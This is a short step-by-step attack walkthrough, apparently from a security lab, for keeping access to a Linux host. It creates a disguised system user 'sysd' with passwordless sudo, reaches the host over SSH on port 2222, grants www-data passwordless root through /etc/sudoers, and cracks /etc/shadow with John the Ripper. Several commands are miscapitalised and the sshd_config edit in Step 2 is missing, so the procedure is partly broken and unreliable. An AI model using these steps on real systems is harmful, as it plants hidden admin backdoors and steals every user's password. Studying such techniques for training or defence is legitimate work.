**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
   * **Sudo useradd -r sysd**
2. Give your secret user a password:
   * **Sudo passwd sysd**
3. Give your secret user a system UID < 1000:
   * **Usermod -u 187 sysd**
4. Give your secret user the same GID:
   * **Groupmod -g 187 sysd**
5. Give your secret user full sudo access without the need for a password:
   * **Sudo visudo**
   * **Sysd ALL=(ALL) NOPASSWD:ALL**
6. Test that sudo access works without your password:  
     
    **Sudo -l**

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:  
     
    **Nano /etc/ssh/sshd\_config**

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:
   * **Sudo systemctl restart ssh**
2. Exit the root account:
   * **exit**
3. SSH to the target machine using your sysd account and port 2222:
   * **Ssh sysd@192.168.6.105 -p 2222**
4. Use sudo to switch to the root user:
   * **Sudo -i**

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:
   * **Ssh sysd@192.168.6.105 -p 2222**
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
   * **Echo “www-data ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers**
   * **john /etc/shadow**